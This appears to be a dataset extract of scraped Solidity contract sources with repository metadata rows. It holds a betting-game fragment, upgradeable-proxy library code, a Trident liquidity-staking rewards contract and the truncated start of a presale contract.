gameId, uint8 team) public payable active onlyHuman{ if(players[msg.sender].score == 0) players[msg.sender].team = team; joinGame(gameId); } function joinGame(bytes32 gameId) public payable active onlyHuman{ game storage cGame = games[gameId]; require(cGame.player1!=0x0, "game id unknown"); require(cGame.player1 != msg.sender, "cannot play with one self"); require(msg.value >= cGame.stake, "value does not suffice to join the game"); cGame.player2 = msg.sender; cGame.timestamp = uint32(now); emit GameStarted(gameId, cGame.player1, msg.sender, cGame.stake); if(msg.value > cGame.stake) developerPot += msg.value - cGame.stake; } function withdraw(bytes32 gameId) public onlyHuman{ game storage cGame = games[gameId]; uint128 value = cGame.stake; if(msg.sender == cGame.player1){ if(cGame.player2 == 0x0){ delete games[gameId]; msg.sender.transfer(value); } else if(cGame.timestamp + minimumWait <= now){ address player2 = cGame.player2; delete games[gameId]; msg.sender.transfer(value); player2.transfer(value); } else{ revert("minimum waiting time has not yet passed"); } } else if(msg.sender == cGame.player2){ if(cGame.timestamp + minimumWait <= now){ address player1 = cGame.player1; delete games[gameId]; msg.sender.transfer(value); player1.transfer(value); } else{ revert("minimum waiting time has not yet passed"); } } else{ revert("sender is not a player in this game"); } emit GameDestroyed(gameId); } function claimWin(bytes32 gameId, uint8 v, bytes32 r, bytes32 s) public onlyHuman{ game storage cGame = games[gameId]; require(cGame.player2!=0x0, "game has not started yet"); require(msg.sender == cGame.player1 || msg.sender == cGame.player2, "sender is not a player in this game"); require(ecrecover(keccak256(abi.encodePacked(gameId, msg.sender)), v, r, s) == signer, "invalid signature"); uint256 value = 2*cGame.stake; uint256 win = winnerPercent * value / 1000; addScore(msg.sender, cGame.stake); delete games[gameId]; charityPot += value * charityPercent / 1000; //players of the leading team do not pay tributes if(players[highscoreHolder].team == players[msg.sender].team){ win += value * highscorePercent / 1000; } else{ highscorePot += value * highscorePercent / 1000; } surprisePot += value * surprisePercent / 1000; if(players[msg.sender].referrer == 0x0){ developerPot += value * (developerPercent + affiliatePercent) / 1000; } else{ developerPot += value * developerPercent / 1000; affiliateBalance[players[msg.sender].referrer] += value * affiliatePercent / 1000; } msg.sender.transfer(win);//no overflow possible because stake is <= max uint128, but now we have 256 bit emit GameEnd(gameId, msg.sender, win); } function addScore(address receiver, uint stake) private{ player storage rec = players[receiver]; player storage hsh = players[highscoreHolder]; if(rec.team == hsh.team){ if(stake < 0.05 ether) rec.score += 1; else if(stake < 0.5 ether) rec.score += 5; else rec.score += 10; } else{//extra points if not belonging to the highscore team if(stake < 0.05 ether) rec.score += 2; else if(stake < 0.5 ether) rec.score += 7; else rec.score += 13; } if(rec.score > hsh.score){ uint pot = highscorePot; if(pot > 0){ highscorePot = 0; highscoreHolder.transfer(pot); } highscoreHolder = receiver; emit NewHighscore(receiver, rec.score, pot); } } function() public payable{ developerPot+=msg.value; } function doNothing(){ } }
270,540
12,178
af5dc23f8fc5313118479cc0148a3127e0ec7c12f8f6180ed96d70bb856b8ac6
27,309
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/0f/0f083c1c02792be6938135fe3c283fa34d58dfde_Address.sol
2,924
12,196
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Proxy { function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _implementation() internal view virtual returns (address); function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } fallback () external payable virtual { _fallback(); } receive () external payable virtual { _fallback(); } function _beforeFallback() internal virtual { } } interface IBeacon { function implementation() external view returns (address); } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event Upgraded(address indexed implementation); function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall(newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation)); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; event AdminChanged(address previousAdmin, address newAdmin); function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; event BeaconUpgraded(address indexed beacon); function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require(Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract"); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } contract ERC1967Proxy is Proxy, ERC1967Upgrade { constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } contract TransparentUpgradeableProxy is ERC1967Proxy { constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } function _admin() internal view virtual returns (address) { return _getAdmin(); } function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } }
111,536
12,179
70268bd47aa50fd261cd28fc1185e324247c4cd276b2047dfb0d6991e4c358f1
27,230
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/94/94bd68182bf1D9C46eC540f75905E97Ac6914Ffb_TransparentUpgradeableProxy.sol
2,924
12,196
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Proxy { function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _implementation() internal view virtual returns (address); function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } fallback () external payable virtual { _fallback(); } receive () external payable virtual { _fallback(); } function _beforeFallback() internal virtual { } } interface IBeacon { function implementation() external view returns (address); } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event Upgraded(address indexed implementation); function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall(newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation)); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; event AdminChanged(address previousAdmin, address newAdmin); function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; event BeaconUpgraded(address indexed beacon); function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require(Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract"); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } contract ERC1967Proxy is Proxy, ERC1967Upgrade { constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } contract TransparentUpgradeableProxy is ERC1967Proxy { constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } function _admin() internal view virtual returns (address) { return _getAdmin(); } function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } }
101,860
12,180
2bb1d965f36878081a21c7f512bd2f7ebb641806cd0f4755f40912b1bef8189c
12,341
.sol
Solidity
false
443847069
JellyProtocol/JellyResearch
d453ec0c162eb5d6aa6f4ac8776b363cd52b6b36
contracts/KP3R/StakingRewardsTrident.sol
3,047
12,189
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } interface erc20 { function transfer(address recipient, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); function balanceOf(address) external view returns (uint); } interface PositionManagerTrident { struct Position { address pool; uint128 liquidity; int24 lower; int24 upper; uint256 feeGrowthInside0; uint256 feeGrowthInside1; } function positions(uint256 tokenId) external view returns (Position memory); function ownerOf(uint tokenId) external view returns (address); function safeTransferFrom(address from, address to, uint tokenId) external; function transferFrom(address from, address to, uint tokenId) external; function collect(uint tokenId, address recipient, bool unwrapBento) external returns (uint amount0, uint amount1); } interface Trident { struct Tick { int24 previousTick; int24 nextTick; uint128 liquidity; uint256 feeGrowthOutside0; uint256 feeGrowthOutside1; uint160 secondsGrowthOutside; } function ticks(int24 _tick) external view returns (Tick memory tick); function getPriceAndNearestTicks() external view returns (uint160 price, int24 tick); function getSecondsGrowthAndLastObservation() external view returns (uint160 _secondGrowthGlobal, uint32 _lastObservation); } contract StakingRewardsTrident { address immutable public reward; address immutable public pool; PositionManagerTrident constant nftManager = PositionManagerTrident(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); uint constant DURATION = 7 days; uint constant PRECISION = 10 ** 18; uint rewardRate; uint periodFinish; uint lastUpdateTime; uint rewardPerLiquidityStored; uint public forfeit; mapping(uint => uint) public tokenRewardPerLiquidityPaid; mapping(uint => uint) public rewards; address public governance; address public nextGovernance; uint public delayGovernance; address public treasury; address public nextTreasury; uint public delayTreasury; uint32 constant DELAY = 1 days; struct time { uint32 timestamp; uint32 secondsInside; } mapping(uint => time) public elapsed; mapping(uint => address) public owners; mapping(address => uint[]) public tokenIds; mapping(uint => uint) public liquidityOf; uint public totalLiquidity; uint public earned0; uint public earned1; event RewardPaid(address indexed sender, uint tokenId, uint reward); event RewardAdded(address indexed sender, uint reward); event Deposit(address indexed sender, uint tokenId, uint liquidity); event Withdraw(address indexed sender, uint tokenId, uint liquidity); event Collect(address indexed sender, uint tokenId, uint amount0, uint amount1); constructor(address _reward, address _pool, address _governance, address _treasury) { reward = _reward; pool = _pool; governance = _governance; treasury = _treasury; } modifier onlyGovernance() { require(msg.sender == governance); _; } function setGovernance(address _governance) external onlyGovernance { nextGovernance = _governance; delayGovernance = block.timestamp + DELAY; } function acceptGovernance() external { require(msg.sender == nextGovernance && delayGovernance < block.timestamp); governance = nextGovernance; } function setTreasury(address _treasury) external onlyGovernance { nextTreasury = _treasury; delayTreasury = block.timestamp + DELAY; } function commitTreasury() external onlyGovernance { require(delayTreasury < block.timestamp); treasury = nextTreasury; } function getTokenIdsLength(address _owner) external view returns (uint) { return tokenIds[_owner].length; } function getTokenIds(address _owner) external view returns (uint[] memory) { return tokenIds[_owner]; } function lastTimeRewardApplicable() public view returns (uint) { return Math.min(block.timestamp, periodFinish); } function rewardPerLiquidity() public view returns (uint) { if (totalLiquidity == 0) { return rewardPerLiquidityStored; } return rewardPerLiquidityStored + ((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * PRECISION / totalLiquidity); } function collect(uint tokenId) external { _collect(tokenId); } function _collect(uint tokenId) internal { if (owners[tokenId] != address(0)) { (uint amount0, uint amount1) = nftManager.collect(tokenId, treasury, true); earned0 += amount0; earned1 += amount1; emit Collect(msg.sender, tokenId, amount0, amount1); } } function rangeSecondsInside(int24 lowerTick, int24 upperTick) public view returns (uint secondsInside) { Trident _pool = Trident(pool); (, int24 currentTick) = _pool.getPriceAndNearestTicks(); Trident.Tick memory lower = _pool.ticks(lowerTick); Trident.Tick memory upper = _pool.ticks(upperTick); (uint256 secondsGrowthGlobal,) = _pool.getSecondsGrowthAndLastObservation(); uint256 secondsBelow; uint256 secondsAbove; if (lowerTick <= currentTick) { secondsBelow = lower.secondsGrowthOutside; } else { secondsBelow = secondsGrowthGlobal - lower.secondsGrowthOutside; } if (currentTick < upperTick) { secondsAbove = upper.secondsGrowthOutside; } else { secondsAbove = secondsGrowthGlobal - upper.secondsGrowthOutside; } secondsInside = secondsGrowthGlobal - secondsBelow - secondsAbove; } function earned(uint tokenId) public view returns (uint claimable, uint32 secondsInside, uint forfeited) { PositionManagerTrident.Position memory _position = nftManager.positions(tokenId); secondsInside = uint32(rangeSecondsInside(_position.lower, _position.upper)); uint _liquidity = liquidityOf[tokenId]; time memory _elapsed = elapsed[tokenId]; uint _maxSecondsElapsed = lastTimeRewardApplicable() - Math.min(_elapsed.timestamp, periodFinish); if (_maxSecondsElapsed > 0) { uint _secondsInside = Math.min(_maxSecondsElapsed, (secondsInside - _elapsed.secondsInside)); uint _reward = (_liquidity * (rewardPerLiquidity() - tokenRewardPerLiquidityPaid[tokenId]) / PRECISION); uint _earned = _reward * _secondsInside / _maxSecondsElapsed; forfeited = _reward - _earned; claimable = _earned; } claimable += rewards[tokenId]; } function getRewardForDuration() external view returns (uint) { return rewardRate * DURATION; } function deposit(uint tokenId) external update(tokenId) { PositionManagerTrident.Position memory _position = nftManager.positions(tokenId); require(pool == _position.pool); require(_position.liquidity > 0); (,int24 _tick) = Trident(_position.pool).getPriceAndNearestTicks(); require(_position.lower < _tick && _tick < _position.upper); nftManager.transferFrom(msg.sender, address(this), tokenId); owners[tokenId] = msg.sender; tokenIds[msg.sender].push(tokenId); liquidityOf[tokenId] = _position.liquidity; totalLiquidity += _position.liquidity; emit Deposit(msg.sender, tokenId, _position.liquidity); } function _findIndex(uint[] memory array, uint element) internal pure returns (uint i) { for (i = 0; i < array.length; i++) { if (array[i] == element) { break; } } } function _remove(uint[] storage array, uint element) internal { uint _index = _findIndex(array, element); uint _length = array.length; if (_index >= _length) return; if (_index < _length-1) { array[_index] = array[_length-1]; } array.pop(); } function withdraw(uint tokenId) public update(tokenId) { _collect(tokenId); _withdraw(tokenId); } function _withdraw(uint tokenId) internal { require(owners[tokenId] == msg.sender); uint _liquidity = liquidityOf[tokenId]; liquidityOf[tokenId] = 0; totalLiquidity -= _liquidity; owners[tokenId] = address(0); _remove(tokenIds[msg.sender], tokenId); nftManager.safeTransferFrom(address(this), msg.sender, tokenId); emit Withdraw(msg.sender, tokenId, _liquidity); } function getRewards() external { uint[] memory _tokens = tokenIds[msg.sender]; for (uint i = 0; i < _tokens.length; i++) { getReward(_tokens[i]); } } function getReward(uint tokenId) public update(tokenId) { _collect(tokenId); uint _reward = rewards[tokenId]; if (_reward > 0) { rewards[tokenId] = 0; _safeTransfer(reward, _getRecipient(tokenId), _reward); emit RewardPaid(msg.sender, tokenId, _reward); } } function _getRecipient(uint tokenId) internal view returns (address) { if (owners[tokenId] != address(0)) { return owners[tokenId]; } else { return nftManager.ownerOf(tokenId); } } function withdraw() external { uint[] memory _tokens = tokenIds[msg.sender]; for (uint i = 0; i < _tokens.length; i++) { withdraw(_tokens[i]); } } function deposit_reward_token(address token, uint _reward) external { require(token == reward); notify(_reward); } function notify(uint amount) public onlyGovernance update(0) { if (block.timestamp >= periodFinish) { rewardRate = amount / DURATION; } else { uint _remaining = periodFinish - block.timestamp; uint _leftover = _remaining * rewardRate; rewardRate = (amount + _leftover) / DURATION; } lastUpdateTime = block.timestamp; periodFinish = block.timestamp + DURATION; _safeTransferFrom(reward, msg.sender, address(this), amount); emit RewardAdded(msg.sender, amount); } function refund() external onlyGovernance { uint _forfeit = forfeit; forfeit = 0; _safeTransfer(reward, treasury, _forfeit); } modifier update(uint tokenId) { uint _rewardPerLiquidityStored = rewardPerLiquidity(); uint _lastUpdateTime = lastTimeRewardApplicable(); rewardPerLiquidityStored = _rewardPerLiquidityStored; lastUpdateTime = _lastUpdateTime; if (tokenId != 0) { (uint _reward, uint32 _secondsInside, uint _forfeited) = earned(tokenId); tokenRewardPerLiquidityPaid[tokenId] = _rewardPerLiquidityStored; rewards[tokenId] = _reward; forfeit += _forfeited; if (elapsed[tokenId].timestamp < _lastUpdateTime) { elapsed[tokenId] = time(uint32(_lastUpdateTime), _secondsInside); } } _; } function _safeTransfer(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } function _safeTransferFrom(address token, address from, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } }
21,039
12,181
602787e8f024863fd90137154930faa8ba9071278f2cb76dda1f9c8419241cbd
35,641
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/92/925d27cb43edAb6814E84fD89454431042a9B3d5_StrudelPresale.sol
5,270
20,331
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } library ECDSA { enum RecoverError { NoError, InvalidSignature, 